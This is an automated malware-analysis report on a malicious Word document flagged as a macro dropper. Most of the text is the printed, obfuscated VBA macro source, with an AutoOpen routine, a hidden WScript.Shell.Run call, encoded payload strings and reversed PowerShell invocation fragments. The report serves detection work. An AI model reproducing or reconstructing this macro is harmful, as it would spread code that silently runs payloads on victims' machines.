Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c41effe4f9c1e6f0…

MALICIOUS

Office (OLE)

127.5 KB Created: 2018-03-12 16:11:00 Authoring application: Microsoft Office Word First seen: 2019-12-09
MD5: 7b230eaa520e5b4c6d0fa051395d8e21 SHA-1: 97bf59739e8b661ffc840ec6c4699a3cfebbeec5 SHA-256: c41effe4f9c1e6f010db18eef96a852a189c0b47687e4f220716d37f3a62a315
310 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro utilizes WScript.Shell and CreateObject, indicating an attempt to execute arbitrary code or download a second-stage payload. The presence of the AutoOpen macro and the ClamAV detection further support its malicious nature as a dropper.

Heuristics 10

  • ClamAV: Doc.Dropper.Agent-6471131-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6471131-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    WXLEkmwwj = LMPXBh * ibvX / MhLcSf - Round(430840 * CSng(2257388 * CInt(odLiIK)) + nSOIji - Round(IzQVi)) - 544 / iCcS + LisIT / Rnd(uUwW) * (6652389 / CDbl(819663) + (tWNrIh / CByte(2857668 / CDbl(1915187) - 6480883 / 641672)))
    CreateObject("WScript.Shell").Run iBJXz + hovMUVUDHEIRqQ + mBsFz + vfwzOPjGatb, vbHide
    cHwrtvDSd = pdSHW * wkhLj / qSLKkA - Round(8962665 * CSng(308419 * CInt(ckajPA)) + sGpn - Round(FGBfp)) - 544 / ujWsir + RjjjK / Rnd(XbiM) * (8683625 / CDbl(8530833) + (GUksb / CByte(4165983 / CDbl(9373061) - 5526869 / 7085148)))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    WXLEkmwwj = LMPXBh * ibvX / MhLcSf - Round(430840 * CSng(2257388 * CInt(odLiIK)) + nSOIji - Round(IzQVi)) - 544 / iCcS + LisIT / Rnd(uUwW) * (6652389 / CDbl(819663) + (tWNrIh / CByte(2857668 / CDbl(1915187) - 6480883 / 641672)))
    CreateObject("WScript.Shell").Run iBJXz + hovMUVUDHEIRqQ + mBsFz + vfwzOPjGatb, vbHide
    cHwrtvDSd = pdSHW * wkhLj / qSLKkA - Round(8962665 * CSng(308419 * CInt(ckajPA)) + sGpn - Round(FGBfp)) - 544 / ujWsir + RjjjK / Rnd(XbiM) * (8683625 / CDbl(8530833) + (GUksb / CByte(4165983 / CDbl(9373061) - 5526869 / 7085148)))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "uaoOAiE"
    Sub AutoOpen()
    On Error Resume Next
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 29786 bytes
SHA-256: ee342c037a113d02ef9ed0d477918ec7b317736199e06362549b1e6fc3f673be
Detection
ClamAV: No threats found
Obfuscation or payload: likely
424 of 634 identifiers look randomly generated (e.g. 'YI9_lkDA1AgMAcDA5AgYAMGA5AgMAkDAxAAOAYDA') — consistent with name-mangling obfuscation. Carved artifact contains 22 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "uaoOAiE"
Sub AutoOpen()
On Error Resume Next
bpqWWCHYs = WZaiXV * LfkkN / kjbr - Round(2379137 * CSng(2132235 * CInt(KDmE)) + wAwjm - Round(nYUp)) - 544 / PZXE + CVuTN / Rnd(GquKuN) * (7928834 / CDbl(5414391) + (mVCYU / CByte(4626170 / CDbl(5947123) - 8539638 / 6912375)))
zpivSMRpG = IirlO * uFmb / ZisW - Round(5136287 * CSng(8752175 * CInt(wjwXd)) + WXFK - Round(isFHG)) - 544 / kvknN + SsQiX / Rnd(qZrS) * (8927471 / CDbl(8219948) + (mkFhO / CByte(8224930 / CDbl(1085940) - 6899492 / 6467691)))
EizScXlfI = kJdiMf * RPljPw / jUjf - Round(2558927 * CSng(4246492 * CInt(Iqkohi)) + iSnM - Round(KGNI)) - 544 / sCPZ + wBpkki / Rnd(oFSm) * (7395820 / CDbl(5392356) + (tqiAu / CByte(7378162 / CDbl(9413818) - 9534329 / 3850426)))
EnIVMdnLG = Rrjzz * VWditX / ivPPN - Round(210911 * CSng(4130228 * CInt(tAhkwc)) + vKSH - Round(PKaJr)) - 544 / GYPTP + hPiaz / Rnd(ZKkj) * (4673507 / CDbl(8287652) + (OARJ / CByte(5250153 / CDbl(3767567) - 3044580 / 7432851)))
Application.Run "zOSABvYzdSjs", IOIAPdcVISC
rJUUFYjuz = alHDh * mwvswv / ljHcj - Round(7969813 * CSng(2915685 * CInt(zznpGK)) + rqtQ - Round(MzFuLT)) - 544 / WcYXp + iikzvz / Rnd(ijbl) * (3758557 / CDbl(2582485) + (ofGEz / CByte(6304860 / CDbl(1481186) - 3671340 / 7709277)))
iNQNWsLbc = tbbVuu * LFcWTb / sfrWTX - Round(1725686 * CSng(7743835 * CInt(uGji)) + ipYzJV - Round(zMJLK)) - 544 / VCqR + mSUq / Rnd(pIEo) * (1075113 / CDbl(3242061) + (PKPHc / CByte(3035551 / CDbl(757760) - 4454386 / 1958766)))
FitThKJSn = UcvzMR * ojrEjN / iuBuz - Round(8555823 * CSng(7369324 * CInt(uAjobX)) + izmBT - Round(ETMDqk)) - 544 / UfFYQ + omJO / Rnd(vzhiv) * (3291839 / CDbl(4675731) + (UUErRf / CByte(8952289 / CDbl(7270142) - 4945296 / 5108741)))
oqHHLSOuH = QjjVk * GTPWY / fAQGQo - Round(7677751 * CSng(8684149 * CInt(YOMUY)) + noPU - Round(JAYk)) - 544 / iHzZaW + CsLG / Rnd(FBaGOB) * (8473434 / CDbl(3933440) + (AMFSi / CByte(9967586 / CDbl(341988) - 4525121 / 7445957)))
End Sub
Function IOIAPdcVISC()
On Error Resume Next
KoMkCikWLH.utlZvbctZJPpmuFVtj
EMvSsImvfYf = fshu3bbnabn3("6OzQ]QDAiBQMAEDA5AQYAIGAkBwYAUDAhBAMAMGAzAAZAgDAiBAZAIGAyAQZAIGAmZAqQOLfPii6$5I", 15, 60)
KoMkCikWLH.utlZvbctZJPpmuFVtj
NJpksljUzqu.iVpqZGWXvjnj
OqXZATSXw = fshu3bbnabn3("8JGIqk9%w9AZAMDAjBQZAMDA5AAOAQGA3AAOAUDAmBQNAYGAzAQZAUDAlBQOAkDAkBwMAYGAhBwNAIDAxAQNAUDA3AgYAMDAwAAZAIDAwAwNAUDAiBQOAIGAjBQZAgDAwAQZAkDA2AQMAUDA0AQMAMDAGY2f", 5, 142)
NJpksljUzqu.iVpqZGWXvjnj
MnVIrDlN.thLQUiHIhtuoNwQdkSzGMsOHc
HoUkNcwSk = fshu3bbnabn3("d!ROAYDAiBAZAUDA1AAZAcDA4AgYAgWQQkj7Q13UKkOdG0Vsh9HD", 23, 27)
MnVIrDlN.thLQUiHIhtuoNwQdkSzGMsOHc
EBDpOdNDOW.fwkKcmizGiurlzZ
bjkIj = fshu3bbnabn3("Z(MF)KZXld6kBQOAkDAxAwNAMGA1AQMAEGA4AwYAMDAmBQNAgDAzAQYAkDAkBgNAIDA2AANAUDAmBwYAMGAmBgYAQGA4AQMAYGA3AQOAEDA4AAOAcDA1AAOAYGA3AAZAIDA2AwNAIGAmBwNAgDA3AwMAEGA5AwYAkDAjBwNAMGA1AwYAEGoi.ffjd%l@J_S", 14, 167)
EBDpOdNDOW.fwkKcmizGiurlzZ
UKNVSoqQRMV.GFXGhXJzzNkPpiwo
YPJQG = fshu3bbnabn3("hczrG2lRZ0dkOR]B1IDAmBgMAcDA4AwMAADAxAwMAcDAzAAOAQGAwAwNAIDAlBgZAIGAhBANAMGAyAANAkDAhBgMAMGA5AQZAQGAmBANAUGA1AwYAkDAwAAZAMGA2AQOAUGAjBgMAQGA5AQYAYGAkBgNAQDAxAwNAYGAyAAOAYGAwAQOAIGAmBwYAkDA1AgNAIDA5AQZAiU]__1%0ks5KPM$kOb", 19, 184)
UKNVSoqQRMV.GFXGhXJzzNkPpiwo
tAzHCoPmZQW.GujRcFpkHBOlCHYacwtczW
ztsFE = fshu3bbnabn3("iZ4nZo]aLml5$updQDAwAQYAgDA4AgMAMGA5AANAcDAlBAOAUDAzAAMAMDA2AwMAYGAjBQMAEDAjBQNAMDA0AgNAcDA4AwNAcDAyAgZAUDA0AwMAEGA4AwMAYGAwAQMAYGAlBAOAQGA5AAOAEGAzAQZAYDA2AAZAQGAyAAMAcDAyAQZAUGA0AgZAYGAiBAZAcDAkBQMAIGA2Ag$A_wcH2tY4di6hkzM", 18, 190)
tAzHCoPmZQW.GujRcFpkHBOlCHYacwtczW
GCBoOarzPKS.XvZcSSZRdLiMIHVsAlUETzYBHfzw
nEWjnNz = fshu3bbnabn3("_fCkI%6SjwcwS..XjZ5GA0AQNAADH4Zn", 5, 9)
GCBoOarzPKS.XvZcSSZRdLiMIHVsAlUETzYBHfzw
GfvJXpDEj.FEJcrBYbouzCjos
qMvXaAB = fshu3bbnabn3("jfK(R_9dAWu1) ) ) )))05..37(  yeK- GnIRtSErQoY2[Hm6GU4t5Z0)z7[[zU", 23, 31)
GfvJXpDEj.FEJcrBYbouzCjos
EMYwUOIbMqDU.YElTKImjBvPDnQUwjub
EtXqSzbGXdb = fshu3bbnabn3("w5GZ]R22Y[.N5kBs1AQMAQGAlBgYAEDA0AQZAADAjBQNAMGAhBgMAkDAjBwYAQDA0AQOAMGAjBAOAMDAxAgZAADA5AgYAMDA2AQZAkDA1AQNAEGA4AwMAUDA4AQMAcDA5AAMAEDAjBAOAEDA5A))Z_6p", 7, 130)
EMYwUOIbMqDU.YElTKImjBvPDnQUwjub
KOVoUYcpsjD.EErBLchWDHSwlUL
GvPUriE = fshu3bbnabn3("i5oAAw8j3mFiG[3wiH_Hr_zUceS-oTTrevnOc|'=AQOAQGAyAQNAUGAmBQOAMGAxAAOAEGA0AgMAEDA5AwNAgDA5AAZAkDAhBgYAIDAzAwYAEDAjBQYAUGAxAwNAcDAyAwMAIGAzAgYAYDA4AQOAEGAzAQOAIGAjBwYAEGAyAQOAEDA5AANAYDA2AwNAYDA5AQZitpl", 5, 172)
KOVoUYcpsjD.EErBLchWDHSwlUL
FhsTotGwhILK.uDjQaXihbiitzuzADjdPEmYWutpnd
WtidIH = fshu3bbnabn3("IZ%8]R<$DAlBwYAYGA5AwNAYGA0AgZAEDAlBAMAADA4AANAEGAhBQOAgDAxAgZAMDAiBQOAMGAkBQNAUGAmBQOAMGAhBAMAIDAzAAOAIGAzAgMAIGA1AgYAQGAzAANAUGAyAANAEDA1AgYAgDAzAgMAYDA1AwMAYDAyAgZAkDA3AQ84kR3pvSTS9W[lG", 16, 165)
FhsTotGwhILK.uDjQaXihbiitzuzADjdPEmYWutpnd
JHuEaRMRYY.MkoLqwVOCUlcIMfAK
MdjZwXcKqkE = fshu3bbnabn3("z7t381ugZAQGAyAgMAIDA1AAOAADAhBAZAMDAlBgYAUGAxAAMAYGAhBQYAQGA4AQOAYGAxAgNAYDA1AAMAADAjBQOAUGAwAAOAMGAhBgMA4QS_[jk6@(ML", 13, 99)
JHuEaRMRYY.MkoLqwVOCUlcIMfAK
NiSOzBIEjm.vrwDdUchPuwiVBVtIXWFT
pIKiQa = fshu3bbnabn3("7wJXGcM%.I06qnMjQYAcDAhBQZAYDAjBgYAEGA1AQZAADAhBANAEDAkBQMAADA2AwYAYDAxAwMAYDA3AgYAQDAwAAZAcDA1AAZAEGA0AAMAMDAjBgZAIDAjBANAgDAwM", 3, 110)
NiSOzBIEjm.vrwDdUchPuwiVBVtIXWFT
fLKlzhjpUt.XjcXAIfUvTWGRnTpREwjjkCdNZPfX
umWGpvvULA = fshu3bbnabn3("U@fanQ)m6hN[o$UASBAVAIFAlBgSAkEA5BAbAADAjBQTAoHAkBwaA0GAxBwbAEGA8BgM5435a05061b3143240f3476111d29467'($(eDocINuCoLlALABolGoTgNirTsErUcES::]lahSram.SeCIvreSPoreTNI.EMitNur[ (EKoVnI.1zzci3@LhGJV%Sd", 16, 165)
fLKlzhjpUt.XjcXAIfUvTWGRnTpREwjjkCdNZPfX
DrThRAjPq.dNtThKmZVXFBo
KzuHFAW = fshu3bbnabn3("XwvKbM$oI_7[]!9ksrtT615zTI3PAADAjBwNAUDAjBQOAEGAxAAOAIGAlBQNAQDAkBgYAQDAxAKj6wzvsJ", 9, 46)
DrThRAjPq.dNtThKmZVXFBo
SHCbtKGwvRD.vaWSUAciQBGbfvmiYITB
LqjSLwaXRjS = fshu3bbnabn3("hzV45UIjOJd$2_sqGo()_aM@tkBwYAMDA1AwNAgDA4AwMAEDAhBQMAUDA3AAZAIDA3AwMAYDA2AAOAIDAiBQZAIGAzAQNAYGAiBQYAUGAwAQZAYDA4AgMAUGAzAQNAMGA1AgYAIDAhBwYAEDAhBwMAEDAyAgMAMGA4KLj5o", 6, 137)
SHCbtKGwvRD.vaWSUAciQBGbfvmiYITB
QrfioLNVZWU.UbZvHqwtlurVihXiwIwoInFr
RtcCLBTzRcm = fshu3bbnabn3("6XPW_q7Fl@AjBwMAUDA5AwMAEGAyAAOAIDA0AwYAUGA1AAZAYGA2AwYAgDAzAQ5", 2, 52)
QrfioLNVZWU.UbZvHqwtlurVihXiwIwoInFr
KdlYupjYLUWd.qjtNviNDqTCLLmPw
SwKtRhjcai = fshu3bbnabn3("t(CwYvApQZAIDAwAgYAYGA0AgMAUDAiBQMAIDA2AQNAADAkBQMAQGAxAAZAADAwAQZAcDA2AAOAQDAxAANAkDAxAgZAMGAxAgMAQs90w4BzzsqlccbbWHP7o_XwTo]HH3", 30, 92)
KdlYupjYLUWd.qjtNviNDqTCLLmPw
EXavQipRjZLb.bzLYsdzZbLjPfzEowmODzQ
DLXzFOPr = fshu3bbnabn3("@4cXiMm9z QpLsGAwAgNAUDA3AAMAADA4AgYAgDA4AQZAYDAjBAOAIGAjBQOAcDAlBANAEGAmBQOAUGAiBgMAUGAlBwMAQYac58BovWt", 12, 79)
EXavQipRjZLb.bzLYsdzZbLjPfzEowmODzQ
iRPkmKNURd.OszQaDbvCfDqUvLoXNdIKb
CAIcHNXKM = fshu3bbnabn3("nK5z3_9FYAUDA3AQOAgDA5AQMAgDAjBgMAUGA1AwYAUGA4AAZAEDAzAANAIGAwAwYAEDAyAQMAcDA1AQYAcDAjBQNAEGA2AAOAQGA2fX$lzm[#dbk_mn[", 16, 94)
iRPkmKNURd.OszQaDbvCfDqUvLoXNdIKb
MXqrftdrph.kasEEMCoWVLvwPAsTGdw
JiIXQX = fshu3bbnabn3("hWOAh8hbcKQBi3KDA5AAZAUGAiBANAUDAzAAZAEDAiBwMAgDA2AgZAQDAiBQY!l_u6", 6, 46)
MXqrftdrph.kasEEMCoWVLvwPAsTGdw
jomQhChHl.UPhDDURqBpkOOcAcEuAmqEOopk
iliddmJm = fshu3bbnabn3("X(LiHfVct]<8XVfiJKgMAQDA3AQZAMDAlBAMAgDA1AANAYGAkBgZAYDA2AQOAADAlBAMAwHA9AQPAEFA2AwYAw#", 2, 68)
jomQhChHl.UPhDDURqBpkOOcAcEuAmqEOopk
GbLQnzzIpAd.YWTBINQkvXCAYbMbszGiHqkjpOhMb
BCAPzvBqSn = fshu3bbnabn3("X.A27)_Ji6AcQt92dA2AQNAUDA0AAZAYDAjBAZAMGAzAQOAMGAxAgYAgDAxAwNAQGAlBwMAYDAjBQYAgDAxAANAQGAmBwNAMDA2AQOAkDA1AgNAYDAhBA5", 2, 100)
GbLQnzzIpAd.YWTBINQkvXCAYbMbszGiHqkjpOhMb
YivUREndMzR.PtlNizMwOnJVNmX
ECwEkLc = fshu3bbnabn3("][LBXwQZAUDAiBgYAIDAyAAZAcDA0AwNAIDA2AQMAkDAmBgMAcDA4AQMAMGAjBQYAEDA5AQYAADAxAQYAADAlBgMAYDA1AQMAYGA5AQNA$(#M", 5, 99)
YivUREndMzR.PtlNizMwOnJVNmX
wFdpYvBsPv.CcIXjTAhWhAmblqc
DLJTJZBcoo = fshu3bbnabn3("dGZ_u_4YkvzUDAmBQNAMGAlBQMAUDAjBAZAIDAyAQMAQDA0AwMAUGAiBQYAMDA0AgMAIGA3AwNAAsjK", 4, 65)
wFdpYvBsPv.CcIXjTAhWhAmblqc
unURJtaPzE.mzXLCNJFjSlEIAzjfZMSz
ZQCCBUiwqww = fshu3bbnabn3("[]MDAyAgZAEGAyAgNAMGAlBQNAYDAmBgZAEGA3AANAEGAlBgZAADA5AQZAgDA4AgMAEGAhBgZAUGAjBwMAUDA4AQNAQDAmBANAIDAyAgZAUDAjBgZAcDA1AzO7BAOz)pwl8", 13, 116)
unURJtaPzE.mzXLCNJFjSlEIAzjfZMSz
pEvOwVlaAM.GDGpVzjqbiMqvrajTTM
ZpaKZTf = fshu3bbnabn3("IoIzICv$sK9AAOAUGAyAAZAADA5AwNAMGAlBQZAYGA1AAZAgD$<0", 4, 38)
pEvOwVlaAM.GDGpVzjqbiMqvrajTTM
ioiXpIJjt.cjXaidqTVJjwGwTW
sFzFHAT = fshu3bbnabn3("9F7jzOCw7GtcId@YAgDA2AQOAEDAxAQOAIGAxAQOAYDA1AQZAEDA0AgNAQDAiBwMAEGAjBwNAUDA0AwYAIDAjBANAYDAxAAZAADA1AQYAIDAlBgZAgDAxAgNAgDAjBAOAMDAmBQZAQGAmBgMAgDAmBQMAAXk4joG9WA", 11, 138)
ioiXpIJjt.cjXaidqTVJjwGwTW
DLizJTkt.BJIZGuDCEZrjofVSjURULLRAzH
QXvDcLFwfu = fshu3bbnabn3("u6LE2]YlrwsOHrS7j@FZwWoKBZJjjw@lAQd", 32, 1)
DLizJTkt.BJIZGuDCEZrjofVSjURULLRAzH
ELECFLCNkdI.pGbSLtptsrAEwrOslmKXfsBf
oiUTdzMaAT = fshu3bbnabn3("ijBzor5NAkDAmBAZAQGAlBgNAIDAmBQOAUGA4AAZAUGA4AgNAIDAiBAZAEDAzAgMAEGA0AQNAMDAmBgNAYDAkBgNAUGAkBQZAYDA2AQZAMGA2AAOAYGAwAQYAQDAjBAZAUDAxAQMAQGAjBQNAUGAzAwNAQDA5AwYAIGA5AwYAMGAhBgZAQDAkBQYAcDAmBAMAYDAiBwMAIV6@p.lh3.l)GP[", 15, 195)
ELECFLCNkdI.pGbSLtptsrAEwrOslmKXfsBf
jwhsEIUG.aNrpOvSFYtAwLWwPNEPpBD
QhOElsomOL = fshu3bbnabn3("A6iLzpspAkBibqOPJTnMwnLMn<Kc9 71vjUL]1%t", 30, 3)
jwhsEIUG.aNrpOvSFYtAwLWwPNEPpBD
lHnMQKfjD.oziZSsbtzGjURbZzwspuXUB
lWUODXjqGM = fshu3bbnabn3("hh@8kFQMAADA3AwYAQGA0AQOAIGAhBwYAYDAyAAOAMGAiBgYAcDAzAANAYnz<oPO", 7, 52)
lHnMQKfjD.oziZSsbtzGjURbZzwspuXUB
BmuNzlTXpb.jbkPLlSHPUVkaqVvjCcHSvKnDUWjM
KRvYzPnYfjq = fshu3bbnabn3("idCzxAgNAkDAkBgNAUGAkBgZAEDAjBAMAQDAhBwNAEDAhBwYAkDA2AgMAkDA2AwNAMDAjBgNAQDAxAgZAEGA5AQOAcDAkBAZAgDAhBAZAgDAxAAMAIU[HGH3", 7, 110)
BmuNzlTXpb.jbkPLlSHPUVkaqVvjCcHSvKnDUWjM
NspSwizGd.uUSITfnGznOoafsTP
jkatbBo = fshu3bbnabn3("5226LL7AYAYDAjBgMAUDA3AwNAYDAlBAOAUGAyAwMAADAkBgMAIDAhBQZAEDAiBgNAUGAxAAMAUDAiBwNAEDAkBwNAYGA3AwNAEGAiBgZAYGA3AwYAkDAxAgMAIDA3AwNAIGAhBwYAYDA5AgMAYGA3AgNAYDA0AgNAIDAlBQNAUDA2AgNAQDA0AANAIDA0AwYAQGAlBr<PKlPi2c$zrU[Qz3jV2N1pcwkr5", 29, 191)
NspSwizGd.uUSITfnGznOoafsTP
utpzLPthJkIk.oWcFUHpJdzFaVd
GtzFHXzcXES = fshu3bbnabn3("[P_h[mi!258)qUAQNAQDA0AgNAUGAmBwMAQGAjBwYA(LF", 4, 28)
utpzLPthJkIk.oWcFUHpJdzFaVd
djMCfUZvDRs.SMmOPlLmrMZOkuaZpYzpiZHvVA
ORKjJoDWVP = fshu3bbnabn3("QnX@n$vF<5vsRQZAMGA03m!", 4, 7)
djMCfUZvDRs.SMmOPlLmrMZOkuaZpYzpiZHvVA
jWXvqKCFkn.UoDXQQwwLTuGUAuLGUcMUI
bQkODCF = fshu3bbnabn3("SfA%aQkkXX)9]6YqI2Wp6lhB4z$4hzXBQNAcDAjBAOAEGAkBQNAADAlBgMAYDAlBwYAkDAwAgZAUGAjBANAIDAxAQNAYGAzAQNAIGAkBQNAMDAhBQOAcDAjBQZAYDA5AQYAIDAkBgZAIGAyAQMAEDA4AgYAgDAhBgYAgDA5AAZAcDAhBANAEDA2AgNAQGAiBQZAADA0AQNAUDAxAAZAEGA5AAZAEkC7M", 5, 189)
jWXvqKCFkn.UoDXQQwwLTuGUAuLGUcMUI
OlAvIiwvF.qcLYEOmTAZauQYvzDDiVu
mdGOO = fshu3bbnabn3("2wUDAxAgMAgDAlBgYAYGA0AgZAQDAzAAZAQGA1AQNAADAkBwYAUDA3AgZAQGA5AwNAMDA2AQZAEGAlBQNAUGAyAQYAkDAiBgZAMDA5AQZAIDAzAwNAMDAhBANAMGAwAQOAEGAiBgYAIDAmBgXFWqloZQOh45RJ@2XQ8", 20, 142)
OlAvIiwvF.qcLYEOmTAZauQYvzDDiVu
KHmZiflMTXc.zbjwiPBJDUPbilBiPrq
PRDTbCojvK = fshu3bbnabn3("XAmIIAMGAmBwNAMGAkBAMAEGAmBwNAYGA2AQZAEGAjBQOAMGA2AQOAkDAhBQMAMDAiBwNAQGA2AAMAkDAyAAOAkDA0AAMAQGAyAQMAUDAlBQZAQDAxAwYAgDA5AgYAkDAkBwMAIDAwAQYAIDA1AAOAADAjBAMAYDA4AgZAUGA4AgYAYGA0AQZAgDA3AA7r4o(bZQ948tIDd2Q2CWzLdOvK0C", 29, 183)
KHmZiflMTXc.zbjwiPBJDUPbilBiPrq
PizYtiFwsH.HzSlTSuSWVcQNBnEkE
RpDpNPhF = fshu3bbnabn3("BSkwYAIGAlBAZAMDAkBQMAMDAxAAOAMDAhBQMAMDAwAwMAQGA1AwYAkDA5AgNAQDAmBQYAcDA0AwYAQGAxAQMAUDAlBwMAIDA0AQOAMDAxAQOAMDA0AQOAMDA0AAZAEGA1AQYAgDAzAQYAkDAjBAZAcDA0AQMAIDAhBh[H0@2kVwKMZ", 13, 160)
PizYtiFwsH.HzSlTSuSWVcQNBnEkE
hohmVXQKf.KprNGqjoNBzqvMAEZwzjHzQd
mTwSFfdHJ = fshu3bbnabn3("dOAiJqCML)emAN.]4[)(SreBMEmteg.]LAHSRam.sECIVrEsporEtni.emItnUr[(::]laHSRam.SECivreSpoReTnI.EMItNARQoIw7.@7dd)C!Zsi", 19, 88)
hohmVXQKf.KprNGqjoNBzqvMAEZwzjHzQd
ukDQkTROKr.TdQfPwsToRrbPjZfs
TBUJKHJlmpG = fshu3bbnabn3("bL6f4fAZsb6", 5, 1)
ukDQkTROKr.TdQfPwsToRrbPjZfs
uSfthQiz.UdiihtmBDMjS
nQwfNZjmC = fshu3bbnabn3("ZJ)X6AAzoHGA0AQZAMGA0AgMAUDAkBAMAEGA2AwMAIGAmBwNAMDA4AwNAYGAhBAMAUGA1AQMAIGA3AAZAcDAlBwNAMGA2AwMAkDAxAgNAEGA4AgNAYGA4AQYAYDA0AwmQZiPzXd!83wNA[Lzh0", 21, 116)
uSfthQiz.UdiihtmBDMjS
McIuUboilE.ljJAXBQwZUibCYCJiKS
HmMUkGDlpc = fshu3bbnabn3("iLvocGBQYAIDAiBAMAcDA2AQZAEGA5AANAQDA4AANAYGA1AQMAIGA4AAZAMGAyAgZAADAxAA89ZE@G7K(I6#]6hawMdmU0c$fuZKa]3.l", 34, 66)
McIuUboilE.ljJAXBQwZUibCYCJiKS
bnqqtEDoqi.RzVCSjqLZEVfWmhbU
YVWHDClMDH = fshu3bbnabn3("YI9_lkDA1AgMAcDA5AgYAMGA5AgMAkDAxAAOAYDAlBwMAcDAmBANAIGAhBwMAEGAlBgNAADA4AwMAEDAjBgZAgDAlBgZAIDAzAgMAYDA0AQOAIGAwAgMAYGAfdZh$c49S@j9.AMV4v@h#kX", 24, 115)
bnqqtEDoqi.RzVCSjqLZEVfWmhbU
VrDFlChZnqL.ZrOkmAtjjQnmBGG
kvGlhro = fshu3bbnabn3("8<U56NAEGA4AwNAYGAhBwYAYDAlBwNAYDAyAQNAQGAkBgYAQGAzAgZAUGAjBQYAEDAjBwYAMGA3AANAkDAkv]AzG_<oqG", 11, 78)
VrDFlChZnqL.ZrOkmAtjjQnmBGG
RfsbRjHRhv.NhVMSTDkIUBQJBNQvoPaATMMROrAb
ZuAZiqtROaT = fshu3bbnabn3("2I86%UTzhLXjDIOK[kBwYAcDAiBAMAIDAyAANAIDAhBQYAQGA1AAZqMzI.c4dfSiLHKfp._G3kj", 23, 36)
RfsbRjHRhv.NhVMSTDkIUBQJBNQvoPaATMMROrAb
bMTFsqiQD.AaViBPDotXifInFd
ZJbkwwFfan = fshu3bbnabn3("2i2V<.AqWzXUaAADA5AgNAEGAyAQNAIGAzAQOAQGA3AwMAUDAlBwNAMGAzAQMAfKODmZO", 8, 49)
bMTFsqiQD.AaViBPDotXifInFd
DuOhiLNRzd.JHPFjtlGTJvKjrzffwXqESdOSBZ
AHhXhO = fshu3bbnabn3("PG@U!ImsGANAEGA3AwMAMDA5AwNAgDA3AAMAUGAxAQNAUDAiBAZAEGACS229OOWMK3RLA2OYQY.Iq]", 24, 45)
DuOhiLNRzd.JHPFjtlGTJvKjrzffwXqESdOSBZ
vjTzcZsiQY.ZJsidAwhkwnBLVnNGAznkBiW
UmJAuvz = fshu3bbnabn3("A4nwOz32QnKLoBDAyAwNAIDAxAgMAMGAzAwYAIGAkBgMAADA4AANAMGAjBgNAMDAhBAZAcDAxAQZAIDAiBwMAYDAzAAZAIDA2AgMAEGAjBwMAkDAyAANAMDAxANTdTw", 6, 108)
vjTzcZsiQY.ZJsidAwhkwnBLVnNGAznkBiW
ETfbVwkkisXt.vdpjRwijowvBRJuK
mYLSKIaj = fshu3bbnabn3("N[rZzYDA2AgNAUDAlBAMAEDAAn]!876o6", 10, 19)
ETfbVwkkisXt.vdpjRwijowvBRJuK
DNTNptJD.LOnRqoRHobkqENWzwPJYONKTzc
ojwoIOw = fshu3bbnabn3("pv1I7Xjz]J$Ys%H]XzdoAzAAOAUDA4AwNAkDA0AQMAkDA1AgMAMDAxAQYAMGAjBQNAQDAzAQMAADAhBAZAIDAkBANAEDAmBQNAYGAwAQOAIGA5AQMAgDA3AAMAgDAlBAMAADA1AANAgDAlBQMAQDA2AwNAMGA1AAMAQGAhBwNAEDAyAgNAgDAkBgZAE]q85", 5, 167)
DNTNptJD.LOnRqoRHobkqENWzwPJYONKTzc
UTNKQfhvFLw.HDnQrVTFYPLwVwkBaBrYT
GiUjbCwra = fshu3bbnabn3(")hd3WHrCAJmbv[5r_rXUGAyAgYAIDAkBAZAIGAiBgZAEGA3AgZAEGAjBgYAQGA0AgNAQDA2AAMAUDA3AwNAQDAlBAMAYDA2AQMAUDAzAgYAMDAzAwNAkDA0AwNoOtS", 5, 103)
UTNKQfhvFLw.HDnQrVTFYPLwVwkBaBrYT
nZCWNpZAYA.jEAqkFAVzWbz
fdmdQMlY = fshu3bbnabn3("w8<W])ur[( ( )''NIoJ-'x'+]3,1[)(gnIRtSoT.eCneRefeRPESOBrEv$ (.iX)(KUzHocUkR3PQK3Z0%@$#l6G%qF_fp", 34, 56)
nZCWNpZAYA.jEAqkFAVzWbz
rMbIbHkcN.ktNjQbJCFcXSOJWwT
QUBjdjjFc = fshu3bbnabn3("5U@cDA2AwNAEGA3AwNAADAxAQZAADAxAwMAkDAhBgZAIDA2AQNAUGAzAwNAcDA3AgZAIDAxAgYAcDAkBQMAQDAyAgNAQDAyAgMAMGAhBAMAEGAxAQZAUGA3AAZAv7w66Zj", 8, 120)
rMbIbHkcN.ktNjQbJCFcXSOJWwT
dqlXlvVnR.tYTlaBfRbpQQrzT
